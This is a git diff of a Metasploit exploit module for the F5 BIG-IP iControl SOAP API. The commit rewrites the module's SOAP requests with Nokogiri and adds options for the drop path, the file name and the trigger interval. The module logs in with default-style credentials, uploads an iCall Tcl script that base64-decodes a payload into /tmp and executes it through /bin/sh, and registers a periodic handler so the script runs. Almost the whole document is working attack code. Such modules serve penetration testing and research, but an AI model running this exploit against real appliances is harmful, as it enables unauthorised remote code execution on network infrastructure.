F5 module
parent
66ed66cc81
commit
eae2d6c89d
|
@ -4,11 +4,13 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'nokogiri'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info={})
|
||||
super(update_info(info,
|
||||
|
@ -44,201 +46,184 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
Opt::RPORT(443),
|
||||
OptBool.new('SSL', [true, 'Use SSL', true]),
|
||||
OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/']),
|
||||
OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/iControl/iControlPortal.cgi']),
|
||||
OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
|
||||
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin'])
|
||||
], self.class)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('INTERVAL', [ true, 'Time interval before the iCall::Handler is called, in seconds', 3 ]),
|
||||
OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']),
|
||||
OptString.new('FILENAME', [false, 'File name of the dropped payload', '.9cdfb439c7876e70']),
|
||||
OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def xml_add_namespaces(xml)
|
||||
ns = xml.doc.root.add_namespace_definition("soapenv","http://schemas.xmlsoap.org/soap/envelope/")
|
||||
xml.doc.root.namespace = ns
|
||||
xml.doc.root.add_namespace_definition("xsi", "http://www.w3.org/2001/XMLSchema-instance")
|
||||
xml.doc.root.add_namespace_definition("xsd", "http://www.w3.org/2001/XMLSchema")
|
||||
xml.doc.root.add_namespace_definition("scr", "urn:iControl:iCall/Script")
|
||||
xml.doc.root.add_namespace_definition("soapenc", "http://schemas.xmlsoap.org/soap/encoding")
|
||||
xml.doc.root.add_namespace_definition("per", "urn:iControl:iCall/PeriodicHandler")
|
||||
return xml
|
||||
end
|
||||
|
||||
|
||||
# cmd is valid tcl script
|
||||
def create_script(cmd)
|
||||
scriptname = Rex::Text.rand_text_alpha_lower(5)
|
||||
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
|
||||
xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<soapenv:Header/>
|
||||
<soapenv:Body>
|
||||
<scr:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
|
||||
<item>#{scriptname}</item></scripts>
|
||||
<definitions xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
|
||||
<item>#{cmd}</item></definitions>
|
||||
</scr:create>
|
||||
</soapenv:Body>
|
||||
</soapenv:Envelope>
|
||||
}
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
|
||||
def send_soap_request(pay)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'POST',
|
||||
'data' => pay,
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
})
|
||||
if res and res.code == 200
|
||||
return scriptname
|
||||
return res
|
||||
else
|
||||
if res and res.code == 401
|
||||
print_error('401 Unauthorized')
|
||||
print_error('401 Unauthorized - Check credentials')
|
||||
else
|
||||
print_error("#{res.code} - Unknown error")
|
||||
end
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
# cmd is valid tcl script
|
||||
def create_script(cmd)
|
||||
scriptname = Rex::Text.rand_text_alpha_lower(5)
|
||||
xml = Nokogiri::XML::Builder.new do |xml|
|
||||
xml.Envelope do
|
||||
xml = xml_add_namespaces(xml)
|
||||
xml['soapenv'].Header
|
||||
xml['soapenv'].Body do
|
||||
xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
|
||||
xml.scripts('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do
|
||||
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
||||
xml.item scriptname
|
||||
end
|
||||
xml.definitions('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do
|
||||
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
||||
xml.item cmd
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
pay = xml.to_xml
|
||||
if send_soap_request(pay)
|
||||
return scriptname
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def delete_script(scriptname)
|
||||
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
|
||||
xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<soapenv:Header/>
|
||||
<soapenv:Body>
|
||||
<scr:delete_script soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
|
||||
<item>#{scriptname}</item>
|
||||
</scripts>
|
||||
</scr:delete_script>
|
||||
</soapenv:Body>
|
||||
</soapenv:Envelope>
|
||||
}
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
|
||||
'method' => 'POST',
|
||||
'data' => pay,
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
})
|
||||
|
||||
if res and res.code == 200
|
||||
return true
|
||||
else
|
||||
if res and res.code == 401
|
||||
print_error('401 Unauthorized')
|
||||
xml = Nokogiri::XML::Builder.new do |xml|
|
||||
xml.Envelope do
|
||||
xml = xml_add_namespaces(xml)
|
||||
xml['soapenv'].Header
|
||||
xml['soapenv'].Body do
|
||||
xml['scr'].delete_script("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
|
||||
xml.scripts('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do
|
||||
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
||||
xml.item scriptname
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
pay = xml.to_xml
|
||||
return send_soap_request(pay)
|
||||
end
|
||||
|
||||
def script_exists(scriptname)
|
||||
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
|
||||
xmlns:scr="urn:iControl:iCall/Script">
|
||||
<soapenv:Header/>
|
||||
<soapenv:Body>
|
||||
<scr:get_list soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
|
||||
</soapenv:Body>
|
||||
</soapenv:Envelope>
|
||||
}
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
|
||||
'method' => 'POST',
|
||||
'data' => pay,
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
})
|
||||
xml = Nokogiri::XML::Builder.new do |xml|
|
||||
xml.Envelope do
|
||||
xml = xml_add_namespaces(xml)
|
||||
xml['soapenv'].Header
|
||||
xml['soapenv'].Body do
|
||||
xml['scr'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/")
|
||||
end
|
||||
end
|
||||
end
|
||||
pay = xml.to_xml
|
||||
res = send_soap_request(pay)
|
||||
if res and res.code == 200 and res.body =~ /\/Common\/#{scriptname}/
|
||||
return true
|
||||
else
|
||||
if res and res.code == 401
|
||||
print_error('401 Unauthorized')
|
||||
end
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def create_handler(scriptname, interval)
|
||||
handler_name = Rex::Text.rand_text_alpha_lower(5)
|
||||
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
|
||||
xmlns:per="urn:iControl:iCall/PeriodicHandler" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<soapenv:Header/>
|
||||
<soapenv:Body>
|
||||
<per:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<handlers xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
|
||||
<item>#{handler_name}</item>
|
||||
</handlers>
|
||||
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
|
||||
<item>/Common/#{scriptname}</item>
|
||||
</scripts>
|
||||
<intervals xsi:type="urn:Common.ULongSequence" soapenc:arrayType="xsd:long[]" xmlns:urn="urn:iControl">
|
||||
<item>#{interval}</item>
|
||||
</intervals>
|
||||
</per:create>
|
||||
</soapenv:Body>
|
||||
</soapenv:Envelope>
|
||||
}
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
|
||||
'method' => 'POST',
|
||||
'data' => pay,
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
})
|
||||
if res and res.code == 200
|
||||
xml = Nokogiri::XML::Builder.new do |xml|
|
||||
xml.Envelope do
|
||||
xml = xml_add_namespaces(xml)
|
||||
xml['soapenv'].Header
|
||||
xml['soapenv'].Body do
|
||||
xml['per'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
|
||||
xml.handlers('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do
|
||||
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
||||
xml.item handler_name
|
||||
end
|
||||
xml.scripts('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do
|
||||
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
||||
xml.item scriptname
|
||||
end
|
||||
xml.intervals('xsi:type'=>'urn:Common.ULongSequence', 'soapenc:arrayType'=>'xsd:long[]', 'xmlns:urn'=>'urn:iControl') do
|
||||
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
||||
xml.item interval
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
pay = xml.to_xml
|
||||
if send_soap_request(pay)
|
||||
return handler_name
|
||||
else
|
||||
if res and res.code == 401
|
||||
print_error('401 Unauthorized')
|
||||
end
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def delete_handler(handler_name)
|
||||
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
|
||||
xmlns:per="urn:iControl:iCall/PeriodicHandler" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<soapenv:Header/>
|
||||
<soapenv:Body>
|
||||
<per:delete_handler soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<handlers xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
|
||||
<item>#{handler_name}</item>
|
||||
</handlers>
|
||||
</per:delete_handler>
|
||||
</soapenv:Body>
|
||||
</soapenv:Envelope>
|
||||
}
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
|
||||
'method' => 'POST',
|
||||
'data' => pay,
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
})
|
||||
if res and res.code == 200
|
||||
return true
|
||||
else
|
||||
if res and res.code == 401
|
||||
print_error('401 Unauthorized')
|
||||
xml = Nokogiri::XML::Builder.new do |xml|
|
||||
xml.Envelope do
|
||||
xml = xml_add_namespaces(xml)
|
||||
xml['soapenv'].Header
|
||||
xml['soapenv'].Body do
|
||||
xml['per'].delete_handler("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
|
||||
xml.handlers('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do
|
||||
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
||||
xml.item handler_name
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
return false
|
||||
end
|
||||
pay = xml.to_xml
|
||||
|
||||
return send_soap_request(pay)
|
||||
end
|
||||
|
||||
def handler_exists(handler_name)
|
||||
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
|
||||
xmlns:per="urn:iControl:iCall/PeriodicHandler">
|
||||
<soapenv:Header/>
|
||||
<soapenv:Body>
|
||||
<per:get_list soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/>
|
||||
</soapenv:Body>
|
||||
</soapenv:Envelope>
|
||||
}
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
|
||||
'method' => 'POST',
|
||||
'data' => pay,
|
||||
'username' => datastore['USERNAME'],
|
||||
'password' => datastore['PASSWORD']
|
||||
})
|
||||
xml = Nokogiri::XML::Builder.new do |xml|
|
||||
xml.Envelope do
|
||||
xml = xml_add_namespaces(xml)
|
||||
xml['soapenv'].Header
|
||||
xml['soapenv'].Body do
|
||||
xml['per'].get_list("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/")
|
||||
end
|
||||
end
|
||||
end
|
||||
pay = xml.to_xml
|
||||
res = send_soap_request(pay)
|
||||
if res and res.code == 200 and res.body =~ /\/Common\/#{handler_name}/
|
||||
return true
|
||||
else
|
||||
if res and res.code == 401
|
||||
print_error('401 Unauthorized')
|
||||
end
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
@ -249,22 +234,27 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
# XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'.
|
||||
# if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable
|
||||
# any other response is considered not vulnerable
|
||||
pay = %Q{<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
|
||||
xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
|
||||
xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<soapenv:Header/>
|
||||
<soapenv:Body>
|
||||
<scr:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
|
||||
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
|
||||
<item></item></scripts>
|
||||
<definitions xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
|
||||
<item></item></definitions>
|
||||
</scr:create>
|
||||
</soapenv:Body>
|
||||
</soapenv:Envelope>
|
||||
}
|
||||
xml = Nokogiri::XML::Builder.new do |xml|
|
||||
xml.Envelope do
|
||||
xml = xml_add_namespaces(xml)
|
||||
xml['soapenv'].Header
|
||||
xml['soapenv'].Body do
|
||||
xml['scr'].create("soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/") do
|
||||
xml.scripts('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do
|
||||
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
||||
xml.item ""
|
||||
end
|
||||
xml.definitions('xsi:type'=>'urn:Common.StringSequence', 'soapenc:arrayType'=>'xsd:string[]', 'xmlns:urn'=>'urn:iControl') do
|
||||
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
|
||||
xml.item ""
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
pay = xml.to_xml
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'iControl', 'iControlPortal.cgi'),
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'method' => 'POST',
|
||||
'data' => pay,
|
||||
'username' => datastore['USERNAME'],
|
||||
|
@ -283,15 +273,23 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
def exploit
|
||||
|
||||
# phase 1: create iCall script to create file with payload, execute it and remove it.
|
||||
filepath = '/tmp/'
|
||||
filename = Rex::Text.rand_text_alpha_lower(5)
|
||||
dest_file = filepath + filename
|
||||
filepath = datastore['PATH']
|
||||
filename = datastore['FILENAME']
|
||||
dest_file = filepath + '/' + filename
|
||||
#register_file_for_cleanup dest_file
|
||||
|
||||
shell_cmd = %Q@echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{dest_file}; chmod +x #{dest_file};#{dest_file};rm -f #{dest_file}@
|
||||
cmd = %Q@if { ! [file exists #{dest_file}]} { exec /bin/sh -c "#{shell_cmd}"}@
|
||||
|
||||
arg_max = datastore['ARG_MAX']
|
||||
if shell_cmd.size > arg_max
|
||||
print_error "Payload #{datastore['PAYLOAD']} is too big, try a different payload or increasing ARG_MAX (note that payloads bigger than the target's configured ARG_MAX value may fail to execute)"
|
||||
return false
|
||||
end
|
||||
|
||||
scriptname = Rex::Text.rand_text_alpha_lower(5)
|
||||
print_status('Uploading payload...')
|
||||
|
||||
cmd = %Q@if { ! [file exists #{dest_file}]} { exec /bin/sh -c "echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{dest_file};@ +
|
||||
%Q@chmod +x #{dest_file};#{dest_file};rm #{dest_file} "}@
|
||||
|
||||
script = create_script(cmd)
|
||||
unless script
|
||||
print_error("Upload script failed")
|
||||
|
@ -299,14 +297,16 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
end
|
||||
unless script_exists(script)
|
||||
print_error("create_script() run successfully but script was not found")
|
||||
return false
|
||||
end
|
||||
interval = 5
|
||||
interval = datastore['INTERVAL']
|
||||
|
||||
# phase 2: create iCall Handler, that will actually run the previously created script
|
||||
print_status('Creating trigger...')
|
||||
handler = create_handler(script, interval)
|
||||
unless handler
|
||||
print_error('Script uploaded but create_handler() failed')
|
||||
return false
|
||||
end
|
||||
print_status('Wait until payload is executed...')
|
||||
|
||||
|
|
Loading…
Reference in New Issue